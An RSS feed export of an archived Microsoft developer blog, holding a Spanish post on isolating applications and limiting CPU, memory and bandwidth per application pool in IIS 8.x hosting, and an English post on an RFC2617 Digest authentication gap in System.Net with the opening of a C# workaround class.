<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:atom="https://www.w3.org/2005/Atom" xmlns:sy="https://purl.org/rss/1.0/modules/syndication/" xmlns:dc="https://purl.org/dc/elements/1.1/" xmlns:content="https://purl.org/rss/1.0/modules/content/" xmlns:wfw="https://wellformedweb.org/CommentAPI/" xmlns:slash="https://purl.org/rss/1.0/modules/slash/"
  version="2.0">
  <channel>
    <title>The code is out there</title>
    <atom:link
      href="https://docs.microsoft.com/archive/blogs/daniem/feed.xml"
      rel="self"
      type="application/rss+xml" />
    <link>https://docs.microsoft.com/archive/blogs/daniem/feed.xml</link>
    <description>A few hours of trial and error can often save you a couple of minutes of reading manuals.</description>
    <lastBuildDate>Fri, 24 Jul 2015 08:22:44 GMT</lastBuildDate>
    <language>en-US</language>
    <sy:updatePeriod>hourly</sy:updatePeriod>
    <sy:updateFrequency>1</sy:updateFrequency>
    <item>
      <title>Aislamiento de aplicaciones en IIS 8.x en entornos de hosting</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/aislamiento-de-aplicaciones-en-iis-8-x-en-entornos-de-hosting</link>
      <pubDate>Wed, 15 Oct 2014 08:50:36 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2014/10/15/aislamiento-de-aplicaciones-en-iis-8-x-en-entornos-de-hosting/</guid>
      <description><![CDATA[En entornos de hosting o cuando se alojan en IIS diversas aplicaciones sobre las que no se tiene...]]></description>
      <content:encoded><![CDATA[<div class="WordSection1">   <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En entornos de hosting o cuando se alojan en IIS diversas aplicaciones sobre las que no se tiene control directo, la mayor prioridad desde un punto de vista de administración y arquitectura es que un posible problema en una de las aplicaciones tenga el menor impacto posible en el resto de aplicaciones que se alojan en el mismo servidor. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">IIS favorece este aislamiento dado que cada sitio web se ejecuta en un proceso separado de forma predeterminada, lo cual es un buen comienzo. Sin embargo, existen ciertos recursos a nivel de sistema operativo que son compartidos por todos los procesos, como puede ser la memoria física, el procesador o el ancho de banda de red. Si un proceso dispara su consumo de CPU al 100% por cualquier motivo, esto va a tener un impacto en el rendimiento de todo el resto de procesos de la máquina. El mismo impacto podría tener que un proceso que tengo un excesivo consumo de memoria de ancho de banda de red. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">A continuación comparto algunas recomendaciones para conseguir el máximo aislamiento y “sandboxing”&#160; de aplicaciones en entornos de hosting. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">Aislamiento de procesos</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Cada sitio web debe ejecutarse en un application pool separado (o en varios), y cada uno de estos debe ejecutarse con una identidad distinta. Por defecto, a partir de IIS 7.5, los application pools se ejecutan con la identidad <b>ApplicationPoolIdentity</b> que automáticamente genera unas cuentas virtuales (virtual accounts) distintas para cada application pool. El uso de <b>ApplicationPoolIdentity</b> es viable en entornos de un único servidor, pero en el caso de granjas de servidores, se hace necesario el uso de cuentas de dominio, o cuentas locales idénticas en el caso de que los servidores no se encuentren en dominio. Es aconsejable también que la identidad de acceso anónimo sea la misma que la identidad del application pool.</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Finalmente, es fundamental configurar las ACLs (Access Control List) de las carpetas de contenido de forma que únicamente la identidad de cada application pool tenga acceso, en la medida de lo posible, sólo de lectura. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Más información sobre aislamiento de application pools en el siguiente artículo: </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><a href="https://www.iis.net/learn/manage/configuring-security/application-pool-identities"><font face="Calibri">https://www.iis.net/learn/manage/configuring-security/application-pool-identities</font></a></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">Limitar consumo de CPU por application pool</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">IIS permite tomar ciertas acciones en función del consumo de CPU de un application pool, y sobre todo a partir de IIS 8.0 es posible limitar de forma efectiva el uso de CPU de los application pools. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">IIS 8.0 introduce una funcionalidad llama <i>CPU throttling</i> (en inglés <i>throttle</i> significa regulador/válvula reguladora/estrangular), precisamente con el propósito de permitir configurar un límite de consumo de CPU por cada application pool. Es funcionalidad es posible debido a una nueva API en modo kernel que permite poner un límite de CPU sobre un “job”, y en el contexto de IIS, el objeto “job” es el application pool. En este caso tanto si el application pool consta de varios procesos (web garden), como si ejecutan aplicaciones PHP mediante FastCGI en procesos php-cgi.exe, el límite de consumo de CPU se aplica sobre el conjunto de todos los procesos que conforman el application pool. La suma de consumo de todos los procesos no podrá superar el límite configurado para el application pool. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Existen cuatro posibles acciones a tomar cuando se llega al límite configurado: </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt; font-family: symbol">·<span style="font: 7pt &quot;Times New Roman&quot;">&#160;&#160;&#160;&#160;&#160;&#160; </span></span><b><i><span style="font-size: 12pt">NoAction</span></i></b></font><span style="font-size: 12pt"><font face="Calibri">: Registra un evento en el log de eventos de que se ha superado el límite configurado.          <br />          <br /></font></span></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt; font-family: symbol">·<span style="font: 7pt &quot;Times New Roman&quot;">&#160;&#160;&#160;&#160;&#160;&#160; </span></span><b><i><span style="font-size: 12pt">KillW3wp</span></i></b></font><span style="font-size: 12pt"><font face="Calibri">: Finaliza el application pool durante el periodo de tiempo configurado. Esta opción se tiene que configurar en combinación con la propiedad Limit Interval que se configura en minutos. De este modo, si se configura un application pool con un límite del 25% con un intervalo de dos minutos, si la aplicación se pone al 100% de CPU, a los 30 segundos se finalizará (el 25% del tiempo de dos minutos) y permanecerá parada hasta que no transcurra el minuto y medio restante.          <br />          <br /></font></span></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt; font-family: symbol">·<span style="font: 7pt &quot;Times New Roman&quot;">&#160;&#160;&#160;&#160;&#160;&#160; </span></span><b><i><span style="font-size: 12pt">Throttle </span></i></b></font><span style="font-size: 12pt"><font face="Calibri">(nuevo en IIS 8.0): Limita el consumo de CPU al % límite configurado. Es decir, el sistema operativo nunca va a permitir al proceso consumir más % de CPU de lo que se ha configurado en ninguna circunstancia.          <br />          <br /></font></span></p>    <p class="MsoListParagraph" style="margin-left: 18pt; text-indent: -18pt"><font face="Calibri"><span style="font-size: 12pt; font-family: symbol">·<span style="font: 7pt &quot;Times New Roman&quot;">&#160;&#160;&#160;&#160;&#160;&#160; </span></span><b><i><span style="font-size: 12pt">ThrottleUnderLoad</span></i></b><i><span style="font-size: 12pt"> </span></i><span style="font-size: 12pt">(nuevo en IIS 8.0): Limita el consumo de CPU al % límite configurado, siempre y cuando existan contención a nivel de CPU. De no existir contención, se permitirá al proceso consumir un % de CPU superior al límite configurado. </span></font></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Una aplicación que debido a los motivos que sean tiene consumo elevado de CPU, obviamente resta ciclos de CPU para otras aplicaciones en el mismo servidor. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><a href="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/7840.image_0C747A57.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/7840.image_5F00_0C747A57.png"><img title="image" style="border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px" border="0" alt="image" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/4174.image_thumb_108158DA.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/4174.image_5F00_thumb_5F00_108158DA.png" width="428" height="289" /></a> </p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Configurando CPU throttling en IIS 8.0 (o posteriores versiones), podemos limitar el uso de CPU en las propiedades avanzadas del application pool, en el ejemplo a un máximo de 50% de CPU (50.000 puesto que se configura a nivel de 1/1000 de %): </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><img id="Picture 5" border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/4628.clip_image002_thumb_142EB74B.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/4628.clip_5F00_image002_5F00_thumb_5F00_142EB74B.png" width="450" height="550" /></font></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Una vez configurado el límite, quedan más recursos de CPU disponibles para otros procesos en el mismo servidor: </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><img id="Picture 4" border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/1738.clip_image003_thumb_3C63810E.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/1738.clip_5F00_image003_5F00_thumb_5F00_3C63810E.png" width="526" height="325" /></font></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Más información sobre CPU throttling en el siguiente artículo: </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><a href="https://www.iis.net/learn/get-started/whats-new-in-iis-8/iis-80-cpu-throttling-sand-boxing-sites-and-applications"><font face="Calibri">https://www.iis.net/learn/get-started/whats-new-in-iis-8/iis-80-cpu-throttling-sand-boxing-sites-and-applications</font></a><font face="Calibri"> </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">Limitar consumo de memoria por application pool</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Si bien no es posible “estrangular” o “regular” el consumo de memoria de un proceso de la misma forma que el consumo de CPU, IIS permite configurar reciclados de un application pool al alcanzar un determinado límite de consumo de memoria. Los reciclados pueden tener diferente impacto sobre las aplicaciones web dependiendo de la arquitectura, de donde se mantiene el estado de sesión, donde se almacena la caché, etc. Potencialmente, todo esto son datos que se almacenan en el proceso, y por tanto, al reciclarlo, se pierden estos datos. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En todo caso, en entornos de hosting tiene sentido limitar el consumo de memoria a un límite razonable, que dependerá del tipo de aplicación, de la memoria física del instalada en el servidor, y del número total de aplicaciones alojadas y la carga de usuarios esperada para cada una de estas aplicaciones. En todo caso, configurar un límite demasiado bajo será contraproducente, puesto que los constantes reinicios tendrán potencialmente un mayor impacto que el permitir un mayor consumo de memoria. Antes de configurar estos límites, es recomendable monitorizar el consumo de memoria de las distintas aplicaciones utilizando contadores de rendimiento para hacerse una idea del consumo de memoria de estas en condiciones normales. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri"><img id="Picture 3" border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/7853.clip_image004_thumb_4D032E0F.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/7853.clip_5F00_image004_5F00_thumb_5F00_4D032E0F.png" width="687" height="521" /></font></span><span style="font-size: 12pt"><font face="Calibri">          <br clear="all" /></font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri"></font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri"></font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Más información sobre la configuración de reciclados de los application pools: </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><a href="https://www.iis.net/configreference/system.applicationhost/applicationpools/add/recycling/periodicrestart"><font face="Calibri">https://www.iis.net/configreference/system.applicationhost/applicationpools/add/recycling/periodicrestart</font></a></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">Limitar el consumo de ancho de banda de red y número de conexiones</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Es recomendable limitar también el límite máximo de ancho de banda de red por sitio web (en bytes por segundo) para evitar sobrecargar la red debido a la actividad excesiva de un determinado sitio web. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Más información en: </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><a href="https://www.iis.net/configreference/system.applicationhost/sites/site/limits"><font face="Calibri">https://www.iis.net/configreference/system.applicationhost/sites/site/limits</font></a><font face="Calibri"> </font></span></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><font face="Calibri"><img id="Picture 2" border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/1882.clip_image005_thumb_325922A7.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/1882.clip_5F00_image005_5F00_thumb_5F00_325922A7.png" width="459" height="334" /></font></p>    <p class="MsoNormal"><b><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></b></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">En la misma línea, IIS permite bloquear dinámicamente direcciones IP externas que realicen “demasiadas” peticiones durante un determinado intervalo de tiempo (ambos parámetros son configurables). Esta funcionalidad, llamada <b>dynamic IP restrictions</b> ayuda a prevenir ataques de denegación de servicio. Este mecanismo, de nuevo, ayuda a prevenir que un problema en uno de los sitios web (en este caso, un potencial ataque), pueda afectar a otros sitios web corriendo en el mismo servidor. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><font face="Calibri"><img id="Picture 1" border="0" src="https://msdnshared.blob.core.windows.net/media/MSDNBlogsFS/prod.evol.blogs.msdn.com/CommunityServer.Blogs.Components.WeblogFiles/00/00/01/14/59/metablogapi/3022.clip_image006_thumb_13A4C96D.png" original-url="https://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-01-14-59-metablogapi/3022.clip_5F00_image006_5F00_thumb_5F00_13A4C96D.png" width="577" height="437" /></font></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Más información en:</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><a href="https://www.iis.net/learn/get-started/whats-new-in-iis-8/iis-80-dynamic-ip-address-restrictions"><font face="Calibri">https://www.iis.net/learn/get-started/whats-new-in-iis-8/iis-80-dynamic-ip-address-restrictions</font></a></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">No es posible dar recomendaciones genéricas relativas a los valores que deben configurarse para cada uno de los parámetros mencionados en este post, puesto que los valores concretos dependen de las características del entorno. Muchas veces, encontrar el valor optimo en cada entorno, se consigue con la experiencia, y mediante prueba y error. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">&#160;</font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">Espero que os sea de utilidad. </font></span></p>    <p class="MsoNormal"><span style="font-size: 12pt"><font face="Calibri">- Daniel Mossberg</font></span></p> </div>]]></content:encoded>
    </item>
    <item>
      <title>Digest Authentication in System.Net classes don't fully comply with RFC2617</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/digest-authentication-in-system-net-classes-dont-fully-comply-with-rfc2617</link>
      <pubDate>Wed, 27 Feb 2013 03:04:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2013/02/27/digest-authentication-in-system-net-classes-dont-fully-comply-with-rfc2617/</guid>
      <description><![CDATA[Symptoms
Using a class from the System.Net namespace, e.g. HttpWebRequest, to authenticate to a...]]></description>
      <content:encoded><![CDATA[<div class="section" style="line-height: normal; list-style-type: disc; border-spacing: 2px 2px;">
<div class="sectionheading autoheading"><span style="font-family: Calibri; font-size: large;"><strong>Symptoms</strong></span></div>
<div class="sectionbody"><span style="font-family: Calibri; font-size: medium;">Using a class from the System.Net namespace, e.g. HttpWebRequest, to authenticate to a non-Microsoft web server using Digest authentication might result in some error condition, e.g. an HTTP 500 error:</span></div>
<div class="sectionbody">&nbsp;</div>
<div class="sectionbody">&nbsp;</div>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242;"><span style="font-size: small; mso-ansi-language: en;" lang="EN"><span style="font-family: Courier New;">HTTP/1.1 500 Internal Server Error <br />Date: Fri, 30 Nov 2012 12:15:15 GMT <br />Server: Apache/2.2.22 (Win32) <br />Content-Length: 547 <br />Connection: close <br /> Content-Type: text/html; charset=iso-8859-1 <br /> <br />&lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&gt; <br />&lt;html&gt;&lt;head&gt; <br />&lt;title&gt;500 Internal Server Error&lt;/title&gt; <br />&lt;/head&gt;&lt;body&gt; <br />&lt; h1&gt;Internal Server Error&lt;/h1&gt; <br />&lt;p&gt;The server encountered an internal error or <br />misconfiguration and was unable to complete <br />your request.&lt;/p&gt; <br />&lt;/body&gt;&lt;/HTML&gt;</span></span></p>
</div>
<div class="section" style="line-height: normal; list-style-type: disc; border-spacing: 2px 2px;">
<div class="sectionheading autoheading">&nbsp;</div>
<div class="sectionheading autoheading"><span style="font-family: Calibri; font-size: large;"><strong>Cause</strong></span></div>
<div class="sectionbody"><span style="font-family: Calibri; font-size: medium;">System.Net classes don't include the query string in the 'Uri' attribute of the digest authentication header. This is a violation of the RFC, and some web server implementations reject those requests. </span></div>
<div class="sectionbody">&nbsp;</div>
</div>
<div class="section" style="line-height: normal; list-style-type: disc; border-spacing: 2px 2px;">
<div class="sectionheading autoheading"><span style="font-family: Calibri; font-size: large;"><strong>Resolution</strong></span></div>
<div class="sectionbody"><span style="font-family: Calibri;"><span style="font-size: medium;">The below workaround provides an implementation of the Digest authentication protocol which generates an Authentication header compliant with the RFC2617. The below code sample is based on the sample provided originally in the following forum: <a href="https://stackoverflow.com/questions/3109507/httpwebrequests-sends-parameterless-uri-in-authorization-header">https://stackoverflow.com/questions/3109507/httpwebrequests-sends-parameterless-uri-in-authorization-header</a>. <br /> <br /></span><strong><span style="font-size: small;"><span style="font-size: medium;">IMPORTANT: This sample code is provided as-is and is intended for sample purposes only. It is provided without warranties and confers no rights.</span> <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></strong></span></div>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">using</span><span style="mso-ansi-language: en-us;" lang="EN-US"> System;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">using</span><span style="mso-ansi-language: en-us;" lang="EN-US"> System.Globalization;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">using</span><span style="mso-ansi-language: en-us;" lang="EN-US"> System.IO;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">using</span><span style="mso-ansi-language: en-us;" lang="EN-US"> System.Net;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">using</span><span style="mso-ansi-language: en-us;" lang="EN-US"> System.Security.Cryptography;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">using</span><span style="mso-ansi-language: en-us;" lang="EN-US"> System.Text;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">using</span><span style="mso-ansi-language: en-us;" lang="EN-US"> System.Text.RegularExpressions;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US">namespace</span><span style="mso-ansi-language: en-us;" lang="EN-US"> DigestClient</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">public</span><span style="mso-ansi-language: en-us;" lang="EN-US">class</span><span style="mso-ansi-language: en-us;" lang="EN-US">DigestHttpWebRequest</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _user;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _password;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _realm;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _nonce;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _qop;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> _cnonce;</span></span></p>
